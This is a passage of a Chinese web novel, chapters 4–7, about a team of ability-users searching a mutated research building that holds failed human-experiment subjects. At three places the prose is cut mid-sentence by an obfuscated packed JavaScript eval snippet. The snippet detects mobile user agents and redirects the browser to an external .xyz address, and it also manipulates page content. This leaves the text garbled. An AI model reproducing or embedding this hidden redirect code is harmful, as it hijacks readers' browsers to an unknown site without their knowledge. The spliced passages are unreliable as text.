褚青缇一言不发地抱着猫，紧跟着自家队长，目光匆匆划过临时队友们，捕捉到了几张熟面孔。 她记得这些人的异能，有擅长寻踪的，有会爆破的，有操控金属的，还有非常珍贵的治疗系。 临时小队无人交谈，气氛沉闷。 黑压压的人头攒动着，似乎在预示这次任务不简单。 队伍由觉醒了【寻踪】的异能者带路，他带领众人进了北面的一座不知名矮山，七拐八拐地在树丛中穿梭着。 十几双鞋子踩在灌木和草堆上，踩出了一条路。 在又一次拐弯后，众人眼前豁然开朗。 只见眼前矗立着一棵巨大的榕树，密密麻麻的灰色藤蔓相互缠绕着垂落下来，像是无数条灰胳膊，温柔地将一幢白墙黑瓦的五层小楼环抱在内。 在末世，山里往往不见鸟兽鸣叫，只有呼呼的风声。 一簇簇软枝迎风而动，仿佛在热情展臂，欢迎众人的到来。 褚青缇心脏几乎骤停，头皮发麻。 这栋楼给她的感觉很奇怪，她心头警铃拉响，下意识去看许队长。 许队长却沉着下令：“检查装备和异能，准备突破！” “队长。”褚青缇忍不住开口提醒。“这栋楼很危险。” “你真的觉得很危险？” 许队长目光凌厉，紧紧盯着她。 在得到肯定的答复后，许队长紧绷的神经反而松懈下来。 “以你的灾星体质和招灾异能，你觉得对我们很危险，那就恰恰证明有危险的百分百会是我们的敌人啊！” 褚青缇：？ 不是，队长，她的异能是这么用的？ “你今天出门前，去看过孙笋了？”许队长忽然丢出一个风马牛不相及的问题。 “嗯。” “自他受伤以来，你平均每天会去探望他一两次。你离开了战斗队，失去了获取高额积分的途径，物资所剩无几，但你依然坚持兑换医疗、保健、康复品去探望他，哪怕他根本用不上这些东西。” 许队长话锋一转。 “褚青缇，你老实告诉我。” “你做这些，是出于什么心态？” “是愧疚悔恨，还是装模作样只图心安？” 褚青缇沉默。 残疾小猫窝在她怀里翻了个身，似乎感受到了她内心的不平静，可能误以为许队长在欺负人，尾巴瞬间炸开。 它“噶嗷”一声，奶凶奶凶地朝许队长直哈气，作出攻击的姿态。 许队长伸出两根手指头，轻松举起小猫的“轮椅”，迫使绑在轮椅上的小猫倒吊在半空。 失重感令小猫十分惊慌失措，尖锐的指甲从软软的肉垫中探出。 许婉滢笑眯眯地威胁道：“再凶扒了你的皮哦。” 小猫发出一串人类听不懂但一听就知道绝对骂得很脏的喵语，引得临时小队的异能者们纷纷侧目。 褚青缇从恶趣味的队长手里，救下可怜弱小又无助的小猫。 “队长你别吓它了，小猫应激起来会没命的。” “哟，小缇子懂得挺多嘛，才养了一天，这就心疼上了？”许婉滢笑眯眯地伸长指甲，轻轻刮她脸颊上刚结出来的痂。“等这次任务结束，你该不会舍不得借猫给我做研究吧？” 褚青缇将瑟瑟发抖的小猫抱在怀里安抚，语气平淡：“你是队长，我不会违背你的命令。” “所以呢？对于我刚才的提问，你的答案是？” 褚青缇张了张嘴，没有发出声音。 此时此刻，她的缄默，等同于已经给出了答案。 ——如果是“愧疚悔恨”，她不可能说不出口。 “许队长。” 临时小队里，一个面容严肃的中年男人忍不住说话了。 “你带这个人就算了，但她带一只猫来捣乱，又是什么意思？” 这人褚青缇认得，姓田，也是个小队长，他觉醒的异能叫【爆裂】。 听说末世前是个普普通通的化工厂工人，□□炸过一座桥，本来是要蹲大牢的，却正好赶上世到来，秩序陷入混乱，他因此躲过一劫。 田队长口中饱含轻蔑的一句“这个人”，自然是指褚青缇。 褚青提体质克队友，异能又处于失控状态，她这颗不定时炸弹比田队长的火药更危险。 “哦，你说猫啊。”许婉滢无所谓地耸耸肩，“我让小缇子带的，你有意见？” “……没意见。”田队长几乎是从牙缝里挤出了仨字。 田队长对褚青缇和她的猫没有好脸色，但对许队长的态度却很敬重。 许婉滢很强，各方面都很强。 欧阳基地就是她带队建的，如果不是她让出老大的位置、自愿退居二线，现在的基地根本轮不到欧阳做主。 最关键的是，她是唯一一个愿意冒险搅和进这件事的基地高层。 “很好。” 许队长手指搭在褚青缇的肩头，声音压得很低。 “我需要你继续保持现在的状态。你可以是0%，也可以是100%，却唯独不能是‘不确定’。” 褚青缇的概率性异能，本就充满了不确定。 她不能在心态上再产生任何动摇。 两重“不确定”的状态叠加，充满变数，那才叫真要命。 许队长道：“褚青缇，你要记住一件事。” “不管你的异能有没有失控，不管你瞄准的目标有没有在异能的影响下产生偏移，不管后果怎样，你都要记住，你只是听从我的命令行事。” “如果出现意外，那只能说明是我指挥失误，我承担全责，跟你没有任何关系。” “就像我们昨天玩的那几把牌，你内心越坚定，我们的胜率才会更高，听明白了吗？” 褚青缇点点头：“听明白了。” “好。现在，你使用异能，随时留意转盘的变化。” 褚青缇的眼白部分迅速爬满枯枝，瞳孔中央静静卧着一只小花苞。 【毒树之果：从毒树上摘取的果子，极有可能含有剧毒，误食将带来灾厄。待清除毒素后，可正常享用。状态：萌芽。】 【请点击转盘，抽取清除毒素的概率。】 这一次，转盘上的指针快速前行，落在50%的范围内。 “50%。”褚青缇汇报。 “很好。”许队长下令，“全体准备！” 独栋小楼的院门是一扇沉重的古铜门，围墙高三米，最上方装着高压电。 许队长远远丢了只小老鼠作测试，小老鼠一触碰到高墙上方，瞬间被电得焦黑。 竟然是带电的。 金属系异能者上前捣鼓了一翻，摇摇头退了回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544135|171134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 许队长一瞥田队长：“没办法了，爆破吧。” 田队长释放异能，门口堆了两个炸药包。 许队长出手捂住褚青缇的耳朵，褚青缇只听到两声闷响，门的左侧围墙被炸出了一个30厘米的洞。 怀里的猫，被爆炸声吓出了飞机耳，浑身炸毛。 许队长哈哈大笑着松手，饶有兴致地欣赏炸毛小猫的可爱模样，“哟，小猫咪吓坏了呢。” 褚青提满脸无语。 真的很不想承认面前这个不着调的家伙是自家队长。 田队长谨慎地凑到洞口，朝里看了看，“安全。” 一行人列队，准备钻洞。 褚青缇是弩手，自然排在了偏后的位置。 许队长丢下一句“注意转盘”，第一个钻进洞里，朝后面的人招了招手。 褚青缇扫了一眼转盘，指针不知道什么时候退回了10%。 异能持续时间，还剩下七分钟。 她顺着炸出来的洞爬进院子里。 院子里栽满花草，五颜六色的花朵盛开得正艳，院中古井旁的几棵枇杷树上结满了黄澄澄的果子，俨然是末世前的农家小院。 但经历了一年多的异种侵袭后，还能维持得这样岁月静好，显然这里的主人并不普通。 众人的眼神不受控制地往枇杷树上瞄去。 新鲜水果，在末世，是非常珍贵的物资。 “也不知道这里的枇杷能不能吃，咱们先办事，等会出来，把这些枇杷树带回基地栽种。” 许队长开口，精准戳中众人的小心思。 不同于严防死守的青铜院门，小楼里各个房间的门，是一扇扇普普通通的猪肝红木门。 许队长一马当先，踹开一扇门，空的。 再踹开一扇门，又是空的。 一楼很快扫完，一无所获。 办公桌上散落着一些零碎的笔记，大多是行程安排和会议记录，没什么特别。 “3月1日，接待贵客。” “3月15日，接收实验品。” “4月1日，开会讨论。” “4月28日，转移实验品。” 一眼扫过去，全是无效信息。 褚青缇翻到了一个工作人员的日记本。 日记本被撕掉了一大半，只剩二三十页。 “3月15日，我见到了实验品，它真好看。” “3月16日，我做了个噩梦。” “3月17日，噩梦好可怕。” 一直到4月20日前，残留的日记页都在反反复复地说着“噩梦好可怕”之类的车轱辘话。 “4月20日，我感觉很不对劲，它似乎醒了。” “4月21日，好奇怪，自从它来了以后，这里变得越来越奇怪了。房子很奇怪，花草很奇怪，我很奇怪，大家都很奇怪，所有东西都很奇怪。” “4月22日，主任杀掉了博士。” “4月23日，博士杀掉了助手。” “4月24日，助手杀掉了主任。” “4月25日，主任杀掉了博士。” “4月26日，博士杀掉了助手。” “4月27日，助手杀掉了主任。” “4月28日，主任骂我怎么一天天魂不守舍，博士给我打了一剂针让我冷静冷静，助手给我送来了吃的。原来这一切都是梦，好可怕的噩梦。” “4月29日，助手杀死了博士，它也会杀掉我吗？” “4月30日，嘘，不要出声，保持安静。它们会杀掉我们，彻底取代我们。” 5. 第 5 章 残页日记本上凌乱的字迹，令人san值狂掉。 褚青缇警觉地查看自己的异能。 【毒树之果：从毒树上摘取的果子，极有可能含有剧毒，误食将带来灾厄。待清除毒素后，可正常享用。状态：？ 清除毒素概率：？ 持续时间：500/600秒。】 转盘上的指针来回拨动，在0到100之间疯狂摇摆。 “队长！”褚青缇提醒，“我的异能失控了。” 许婉滢问：“现在概率是多少？” “50%……80%……90%，不，又降下来了，40%、0%、30%……它一直在变。” 许婉滢脸色大变，扬声道：“先撤！” 褚青缇一手抄起猫，一手拿着日记本，跟随众人涌向办公室的猪肝红木门。 在越过门的一刹那，一股莫名的寒意直奔天灵盖。 狭长的走廊小幅度地扭曲着，眨眼间，眼前便换了一副景象。 白墙和玻璃窗上爬满绿藤，明亮的走廊被铺天盖地的绿意覆盖，变得昏暗可怖，只有少许光斑透过藤叶的缝隙投落在地面上。 就在此时，出口处那一扇半开的门里洒进来的光，显得格外吸引人，令人不由自主地想朝着最光明处而去。 许婉滢长腿一抬，踩在墙面的绿藤上，拦住神态明显有些不对劲的众人。 鞋底用力一碾，藤叶破损，绿色的汁液顺着她的鞋底缓缓流下，散发出怡人的清香。 她将目光转向褚青缇。 “小缇子，概率多少了？” 褚青缇再次调出异能界面。 指针在短暂的混乱过后，稳稳停在了100%。 【毒树之果：从毒树上摘取的果子，极有可能含有剧毒，误食将带来灾厄。待清除毒素后，可正常享用。状态：开花。 清除毒素概率：100%。 持续时间：550/600秒。】 就在她查看异能描述时，异能名称由【毒树之果】变成了【一枚破鸡蛋】，持续时间也清零了。 【一枚破鸡蛋：将篮子里烂掉的臭鸡蛋扔掉，剩下的鸡蛋依然能够食用。 持续时间：5/600秒。】 褚青缇简单提到自己异能的变化。 许婉滢看向众人，“你们听说过有谁的异能会变吗？” 众人面色各异，纷纷摇头。 “带你来果然是对的。”许婉滢短促地笑了一声，“虽然暂时还搞不懂你的异能究竟应该怎么用。” 褚青缇也拿自己的异能束手无策。 其他人的异能描述都非常直给，只有她的异能描述，一个比一个抽象，什么“毒树的果子”“烂掉的臭鸡蛋”。 毒树的果子在清除毒素后可以食用，“清除毒素”就是转盘随机指定一个概率，这个概率随时会因为某些玄学而发生变化。 至于好果子怎么“食用”，褚青缇心里只有一些模糊的猜测。 鸡蛋丢掉坏的那枚后可以食用，但什么才算是“烂掉的鸡蛋”、怎么才能“丢掉”烂鸡蛋，异能界面没有给出任何提示。 多思无益，当务之急是要么速战速决完成任务，要么离开这里。 说到任务…… 队长这次什么都没跟她说。 许婉滢似乎看出了她的疑惑，轻描淡写解释道：“最近一个月内，有六支战斗小队前后接手北面的异种清除工作，结果误入这幢小楼，有一半以上的异能者消失。” “欧阳他们都认为探查风险过大，打算放弃这座山，把它划为禁区。” “但我觉得，它离基地太近，如果不趁及早铲除，继续放任它壮大下去，它迟早会吞噬整个基地。” 许婉滢朝面前十数人努了努下巴。 “喏，这些都是自愿来查探的幸存者。” 褚青缇脸色发白。 她们小队主要负责南面，最近南面的异种数量锐减，她们小队四个人可以轻松应对。 本以为事态在往好的一面发展，没想到最大的威胁，竟然藏在北面。 “这幢楼的风险是？” 许婉滢没有回答。 田队长却苦笑一声：“整栋楼。” “这栋楼里的所有东西，办公室、门窗、藤蔓、桌椅板凳，都产生了不同程度的异化，它们随时随地会吞噬一切。” “这栋楼本身，就是一个吃人的怪物。” 毛毛的感觉从心底升起。 许队长忽然开口：“小缇子，概率。” 褚青缇再次翻看异能界面，“100%。” 看来，情绪的剧烈波动，并没有影响到她异能的概率。 许队长勾了勾唇，赞许道：“很好，继续保持。” 怀里的小猫不安地“喵”了一声，拱了拱软乎乎的身体，背部微微弓起，琥珀色的圆眼珠子变成了墨绿色的竖瞳，直勾勾盯着那扇半开的门，也就是大家眼里唯一的“生路”。 一个标准的攻击姿势。 许婉滢若有所思地看了看猫，又看了看那扇门。 温暖的白光洒进来，在昏暗压抑的长廊中，格外吸引人。 她收回目光，下令：“继续探查，小心一切物体。” 许队长留在了昏暗的走廊，其他异能者三五结队，快速过了一遍一楼的办公室，跟走廊产生异变前没什么两样。 一行人放轻步伐，朝二楼走去。 二楼格局跟一楼相仿，只在走廊两侧多了两间洗手间。 办公室依然一无所获。 众人对视一眼，大着胆子朝洗手间里走去。 洗手间里没有人，没有异种，没有污染体，什么也没有。 “滴——” 伴随着一道响声，有个异能者受惊，撞到其他人身上。 众人朝着声源处望去，水龙头年久失修，水龙头下面汇聚了一小串水滴，当表面张力托不住时，水滴就会离开水龙头。 虚惊一场。 众人退出来，朝许队长摇了摇头。 “上三楼。” 正在众人踏上三楼的时候，二楼洗手间，透明的水滴缓慢滴落在水池中，晕出一朵鲜红的水花。 水龙头上渗出的水重新汇聚，形成新的水滴，周而复始。 很快，洗手池中满池猩红。 又一滴水“啪叽”一声掉进血色的水池中，却没有化成一道新的水花。 它站了起来，舒展了一下血红的胳膊，池中血色仿佛受到某种召唤汇聚而来，它的身躯迅速膨胀，几秒间就窜到了一米七八，拥有了人类的雏形。 它对着镜子，不断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544136|171134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调整自己的模样。 很快，镜子里出现了一个男人的身影，赫然是刚才受惊的那个异能者！ 它满意地咧着嘴，脚步轻快地踏上了三楼的台阶。 三楼办公室，许婉滢似有所感，微微皱眉，望向台阶的方向。 “有东西追上来了，上楼！” 三楼同样一无所获。 众人踏上四楼，四楼的布局和一二三楼截然不同，用一道道特殊材质的玻璃门，隔出了一间间实验室。 随手拉开一间实验室的门，就跟门里的异种来了个贴面杀。 许婉滢发动异能，召出一颗火球砸过去，火球烧穿了异种的脑袋，异种一动不动，直挺挺站在门后。 它身上穿着白大褂，穿着全副防菌服、戴着防毒面罩，衣服和面罩上全是呈喷射状的黑红血迹。 许婉滢掀开防毒面罩，面罩下的脸庞发青发白，眼白浑浊，但肌肤维持着人类的状态，没有丝毫腐烂的迹象。 如果不是它脑袋被火球砸出了一个洞，这活脱脱就是一个普通的实验室工作人员。 许婉滢长腿一踹，把异种踹到角落里，骨头撞在仪器上，骨头碎了一地，下巴仍在一张一合，发出“咯咯咯——”的声音。 “小缇子，帮它解脱。”许婉滢吩咐。 褚青缇架起复合弩，瞄准镜对准跌倒在角落的异种。 100%的概率，足以让她非常笃定地将弩箭箭头对准敌人。 透过瞄准镜，褚青缇快速瞄了一眼异种白大褂上挂的胸牌。 胸牌血渍呼啦的，后半段被糊得严严实实，她只看清了一个姓：涂。 扣动扳机的手，一时没能扣下去。 这只异种，不太对劲。 它的髂骨碎了一地，艰难地在原地抽动着骨头和肌肉，疼得连连吸气，却仍然执着地朝褚青缇伸长了胳膊。 真是奇怪。 它似乎有痛感。 明明离它最近的人类不是褚青缇，它却偏偏只对躲在人群后面的褚青缇感兴趣。 褚青缇的目光再次落在它的防护服上，再联系到口袋里从一楼拿到的日记本，想起日记本里那句“主任杀掉了博士”。 她轻缓地眨了眨眼，试探性地开口：“……涂博士？” 坐在地上挣扎的异种豁然抬头。 那颗被火球砸穿的脑袋，一上一下、一下一上，重重点了几下。 另一头，众人的注意力放在实验室上，四处寻找实验记录，试图搞清楚这帮人究竟在做什么实验，会不会跟整栋楼沦为吃人怪物有关。 “许队长，这里是末世到来后被临时征用的实验室，实验内容是如何让遭受感染的异种变回人类。” “方法有点惊世骇俗，他们是从异种身上提炼出某种病毒，再给感染者注射，以毒攻毒。” “根据实验记录，他们似乎真的取得了阶段性的成果。” “你看这里——” 许婉滢的目光落在实验报告最后几行。 “‘NEW计划’1号实验体：涂博士。实验过程：注射ZXR病毒。实验结果：细胞分裂异化，但保留部分人类神智。” “这是人类社会进入末世以来，生物学研究取得突破的第一步。” “‘NEW计划’启动，末世即将终结。” 6. 第 6 章 许婉滢盯着“保留部分人类神智”这段话，久久未语。 “疯了，真是疯了。”田队长喃喃，“救助感染者不应该是医学领域应该解决的问题吗？怎么生物学也掺合进来了。” “我怎么觉着，他们这个实验，不太像‘救助感染者’，更像是……” “基因编辑，创造新物种？” “疯了吧？基因编辑有违伦理道德，这是违法的。” “末世秩序混乱，法律早就不管用了。” 众人你一言我一语，越说气氛越奇怪。 许婉滢忽然转头，去见褚青缇不知什么时候走到了角落，距离异种只有四五步的距离，她下意识召出火球，失声叫道：“褚青缇！你在干什么？！” 褚青缇单膝蹲在异种跟前，递过从一楼顺来的日记本。 “涂博士，你是不是想要这个？” 坐在地上的异种吃力地抬起胳膊，接过日记本，轻抚着残页，浑浊的眼球里透出一丝惆怅。 这是独属于人类的情绪。 在众人现有的认知中，异种不惧怕疼痛，冇得感情，进食的生理本能掌控了一切，它们可以毫不迟疑地咬向生前最亲密的人。 而眼前这只异种，显然超出了众人的认知。 它对日记本的兴趣，远远大于对“食物”的兴趣。 异种缓慢地翻着日记本，长长的指甲停留在某一页，它下巴动了动，含糊地吐出一个字：“书、书……” “什么书？”褚青缇问，“涂博士，您是不是在找一本什么书？” 许婉滢举着火球，急切道：“小缇子，危险，快让开！” “没事，队长，我有分寸。”褚青缇摆手，再次真诚地看向眼前这只怪异的异种，循循善诱，“涂博士，您想找的是哪本书？” 异种迟疑地点点头，又摇摇头。 脑门上顶着硕大的一个洞，说不出的滑稽和可怕。 “假……书……” “什么假书？” 褚青缇脚尖踮起，身体微微前倾。 正在此时，实验室的门忽然被一阵诡异的大风刮开，爬满整个走廊的藤蔓随风而动，绽放出一簇簇花枝。 风将花蕊上的粉末送入实验室，空气中漂浮着数不胜数的粉状物，迷得人睁不开眼。 许婉滢砸出几颗火球，粉末遇火即燃。 众人也纷纷佩戴护目镜和口罩，防止口鼻吸入粉末。 一阵兵荒马乱过后，实验室里的风波平息下来，众人的视野恢复正常，空气中弥漫着一股像是某种动物脂肪被烤焦的独特香味。 众人耸了耸鼻子，面露怀念之色。 “好香。” “想起末世前经常吃的烤肉了。” “这玩意能不能吃？” “真的好香啊。” 许婉滢迅速清点人数，一个没少。 总觉得哪里怪怪的。 她的视线来回在异能者小队中逡巡。 究竟是哪里不对呢？ 电光石火之间，她终于反应过来，第一时间召唤出火球，朝角落里的异种砸去。 “褚青缇，往左闪！” “书、书……” 瘫坐在地上的异种垂着眼皮，眼白渐渐泛红，搭在日记本上的指甲忽然变黑变尖，原本好好覆盖着头颅的面皮也裂开一道缝隙，要掉不掉地露出里头红红白白的血肉。 它忽然发狂，朝近在咫尺的褚青缇扑了上去，嗓子里发出粗噶的嘶吼：“书！” 背面是队长的火球，正面是异种的攻击，右面是坚固的墙壁。 褚青缇原本只要往左一滚，就能避开所有危险。 但此时，几名神情怪异的异能者不知被谁挤到了她唯一的出路上，以她的体能，她根本无法突破这面人墙。 “好香、好香啊。” “想吃。” “能吃吧？” 异能者们渐渐围拢。 走廊上，迎风而舞的藤蔓们发出窸窸窣窣的声响，恍惚听来，像是无数嬉笑声混在一起。 年轻的女弩手，身怀异能却不知如何使用的远攻战士，等待她的，似乎只有死路一条了呢。 褚青缇站那没有动。 手松了松，怀里的猫窜下地，急得转圈圈，对着异种和失去神智的异能者们“嗷呜”乱叫。 褚青缇缓慢地眨了一下眼睛，从后背感知到的火焰温度来判断火球的距离，架起手上的弩臂，摁下一个隐秘的按钮。 弩背上方，弹出一柄30厘米长的刀。 干脆利落的两记挥刀，异种的两条胳膊掉在地上，迫在眉睫的威胁已解决。 又是一记猛扎，刀刃扎进异种的脑仁，冷酷果决地搅动着。 伴随着一阵令人发毛的声响，异种整颗脑仁里的器官，全被搅成了一罐颜色艳丽、材料浓稠的八宝粥。 褚青缇侧身，将异种推至身前，火球裹挟着热浪袭来，清洗掉了所有罪恶。 她脸上残留着从异种伤口溅出来的血，慢慢站起身，目光一一扫过挡住自己生路的异能者们，露出一个和善的微笑。 “谁说远攻战士，就不能同时也是近战高手呢？” 实验室里，短暂失常的异能者们被吓清醒了，脸上一片空白。 唯有队长许婉滢，满脸的自豪和骄傲。 时间拉回到昨天。 褚青缇为难地辩解：“队长，可我并不是攻击型……” 许婉滢打断她。 “你是。” “我亲自招你进战斗队，你在我这儿的定位就是攻击型异能者。” “你的弩箭，足以跟教练的体能相媲美。” “还有你的刀法。虽然你大多时候的定位是狙击、掩护和远攻，但你特意设计在弩身藏着一把刀，说明你近战的水准应该还不赖吧？” 事实证明，许婉滢没有看走眼。 许队长快速瞥了一眼清醒过来的异能者们，笃定道：“这里至少有一名以上的精神系高阶异种。” “它拥有和人类相当的智慧，会耍阴谋诡计，擅长操控人心。” “你们要格外小心，下次如果再着了道，清醒不过来……” 飒爽美丽的许队长言笑晏晏，双目弯弯，怎么看都是格外赏心悦目的一幕。 但她吐出的话语，却令在场所有人心惊肉跳。 “我的【燎原】，或许可以帮助你们彻底清醒。” 众人想起异种脑袋被烧穿的大洞，不寒而栗。 褚青缇收起弩刀，反手擦掉脸颊溅上的异种血，捡起掉在地上的日记本。 日记本的扉页已被异种血打湿。 褚青缇胡乱地扯过窗帘擦了擦血，擦着擦着，动作慢了下来。 这只异种的血，竟然是鲜红色的。 就跟人类的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544137|171134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血一样。 而过往她所接触到的异种血，是黑红色的。 褚青缇的目光落在地上彻底失去生机变成一具焦尸的异种身上。 异能者小队正在拆解它，但却没有在它身上发现异种碎片。 它会感觉到疼痛。 它有思想。 它有除了进食以外的执念。 它会简单地发音。 它的血是红色的。 这名曾经的科研人员，到底属于异种，还是属于人类？ 还有，方才它一直在嚷“书”，到底想表达什么意思？ 这些问题的答案，或许她一辈子都不会知道。 褚青缇收起日记本，抱起不停转圈拱自己小腿的小猫，面无表情地跟上大部队。 四楼第二间实验室里，没有生命体。 整个房间堆满尸体，粗略一看足足有二十多具。 尸体绑着束缚带、插着管子，浑身遍布伤口，伤口处还有着多次缝合的痕迹。 更诡异的是，每具尸体都产生了不同程度的畸变，有的头大如牛，有的胳膊变成钳子，有的腿脚生出尾巴，有的背上长出鱼鳍，有的胸腹长满眼睛。 个个奇形怪状，既保留了人类的基础特征，又兼具某种动物的特征。 许婉滢和褚青缇对视一眼。 她们都想到了南面前阵子突然冒出来的少量污染体。 污染体是最近几个月才出现的，在此之前，这片土地上只有像丧尸的异种。 褚青缇翻过实验床上的牌子，上头标记着“实验品X号”，记录着病人的姓名、年龄和身体特征，最下方有一处潦草的手写结论“实验失败”。 它们是自愿参与实验的感染者，同时也是实验失败的小白鼠。 饶是在异种堆里杀出一条血路的异能者，在这种压抑的环境下，也忍不住白了脸。 一个心理承受能力差的异能者，当场弯腰干呕起来。 队友调侃他：“王苏，你今天怎么回事？刚刚在二楼洗手间也是，一惊一乍的。” 王苏脸色苍白，挂着泪珠的睫毛扑闪扑闪，心有余悸道：“这些玩意儿，不人不鬼，太瘆人了。” 褚青缇和许婉滢瞟来一眼，思绪没有受到这段小插曲的影响。 “小缇子，你怎么看？” “我怀疑，咱们在南面见过的那批污染体，有可能是从这里逃出去的。” 可问题是，北、西、东三面的战斗小队，并没有发现其它污染体，这些污染体是怎么避开其它三个方位，出现在南面的？ 褚青缇顺手抄起床头的手术小刀，在其中一具实验体上划了一道口子。 鲜红的液体渗出，散发出一股说不上来的奇异香味。 这绝不是血腥味。 队伍中珍贵的治疗系异能者也留意到了。 她脸色难看：“人死后12小时，组织液会渗透到血管内进行混合、染色，24小时后这些染色液体会流入到身体各个部位，形成尸斑，此时血液完全凝固，解剖时不会再出现流血现象。” 这些实验体，虽然没有了呼吸，也没有变成异种以另一种形态存活，它们的皮肤状态依然如活着时那般，没有形成尸斑，表皮富有弹性、划伤仍会流血。 它们，到底算“生”，还是算“死”？ 算“人类”，还是算“异类”？ 没人能说得清。 7. 第 7 章 “走吧。” 许婉滢拿这些东西也很棘手，收集好实验记录后，继续查探下一间实验室。 第三间实验室安置了十几张手术台，每张手术台都用特殊材质的玻璃门隔出一个单独的空间。 手术台上，绑着一只只异种。 不同于第二间实验室里产生畸变的异种，第三间实验室里的异种，正是末世随处可见的丧尸型异种。 异种身上插满针管，床边的仪器还在滴滴运作着，黑红的血液从它们身上被提取出来，流入一个特制的玻璃容器里。 看来，这些就是提取毒素的标本了。 异种们饱受摧残，又被重重枷锁捆住，产生不了威胁。 “许队长，这些东西……要不要带回基地？”田队长问。 许婉滢沉默片刻，道：“仪器带走，抽出来的异种血带一份做样本，其它的销毁。” “至于这些异种。” “让它们解脱。” 治疗系异能者取出自制容器，换上手套，小心翼翼地取样。 其他异能者快准狠地扎破异种的脑仁，熟练地想要摘取异种碎片，却赫然发现，这些实验体身上，也找不到碎片。 “许队长，这……” “不管了，走吧。” 第四间实验室里，是一群穿着白大褂的异种。 他们嘴上戴着止咬套，胳膊腿脚、胸腔腰腹被坚硬的钢丝捆得严严实实。 有几只因剧烈挣扎而受到了腰斩，断掉的肢体像无头苍蝇般乱转，有如满月小儿在蹒跚学步。 此情此景，宛如地狱。 许婉滢嗓音发沉：“送他们一程。” 这波科研人员异种身上，也没有发现任何碎片。 扎破它们的头颅时，会有温热猩红的液体溅出来。 有两三只异种在最后的关头，甚至回光返照，短暂地恢复了神智，蠕动着双唇，虚弱地比了个“谢谢”的唇形。 他们仿佛不是在清除异种，而是在虐杀活生生的人类。 异能者们无不动容。 那个叫王苏的冰系异能者，反应尤为强烈，他差点连苦胆都给吐出来。 “小缇子，你的异能概率是多少？还能持续多久？” 许婉滢问了几句，没得到答复。 她侧目望去，去见褚青缇盯着地上的钢丝发呆。 “喂，想什么呢？” 褚青缇迅速回神，“100%，还有两分钟。” 她接着回答了队长的上个问题。 “我在想，是谁绑了他们？研究院为什么会覆灭？这里会不会还有幸存者？” 是研究院里的人？ 还是被这幢楼吞噬的基地异能者？ 亦或是……其他别有用心的人？ 众人退出四楼，朝五楼踏去。 期间，许婉滢探过头，从台阶的扶手上朝下望去，只见一圈又一圈深褐色的扶手盘旋而下。 整幢小楼，安静得有些诡异。 “奇怪。”她自言自语。“刚刚那东西，怎么没有追上来？” 其他异能者们也是心绪不宁。 他们上一次进来，小楼可不像今天这么安静。早在在第一层时，小楼就开始异化，疯狂吞噬人类，他们拼尽全力才侥幸逃生。 但……小楼的安静，是他们真的足够幸运，还是暴雨风来临前的平静？ 最后一层，势必会是风险最大的地方。 全体异能者打起精神，纷纷调动异能，随时准备进攻或是防御。 踏上五楼最后一节台阶，众人紧接着一愣。 五楼，什么都没有。 空空荡荡的一整层。 所有墙体全被打通，合并成了一间巨大的实验室。 实验室的门是透明的钢化玻璃，站在楼道口可以对室内的情况一览无遗。 原本应该整洁干净无菌的实验室里，此时沾染了无数猩红色，处处布满血液痕迹。 有喷射状的，有挥洒状的，有滴落状的，有冲撞状的，有流柱状的，有浸染状的，有擦拭状的，也有转移状的。 可以说，在凶案现场可能出现的血液痕迹，这里都能找到。 不难想象，这里经历了怎样惨烈的一番恶斗。 许婉滢顺着滴落状和转移状的血液痕迹找过去，发现角落里放着一个梯子，天花板上显现出一个黑洞洞的缺口。 五楼竟然是复式结构，上面还设有一间阁楼。 梯面上残留着新鲜的红色，用布料一盖，布料很快浸染出一团红。 显然，上面有东西。 可这东西，真的会是人类吗？ 众人你看我，我看你，大气也不敢出，谁也没勇气做第一个踏上梯子的人。 许婉滢目光掠过临时队友们，飞快排查众人的异能，遗憾的发现，在场没有适合这种场景的异能。 她运起一颗火球，踩上一节梯子。 擅长爆裂的田队长紧随其后，紧接着是金属系异能者和其他攻击系异能者。 擅长远攻的弩手褚青缇，自然负责断后。 她的前方，是没有攻击性的治疗系异能者和寻踪异能者，再往前则是冰系异能者。 第一个踏上阁楼的许婉滢脚步顿了顿，指尖的火球霍然增大一圈。 她让出梯子口，观察着阁楼。 血液在踏上阁楼后就中断了。 阁楼里没有人，只有若有若无的血腥味。 房里摆着一张小床、一张梳妆台，墙上挂着几条连衣裙，靠近楼梯的地板上有一个空饭盒，东西少得可怜。 梳妆台上，放了一张合照。 凑近一看，相框里是一个穿着白大褂的中年女人和一个柔弱乖巧的年轻女孩，背景是玻璃门和仪器，这张照片是在研究院里拍的。 褚青缇盯着中年女人的脸，感觉有点面熟。 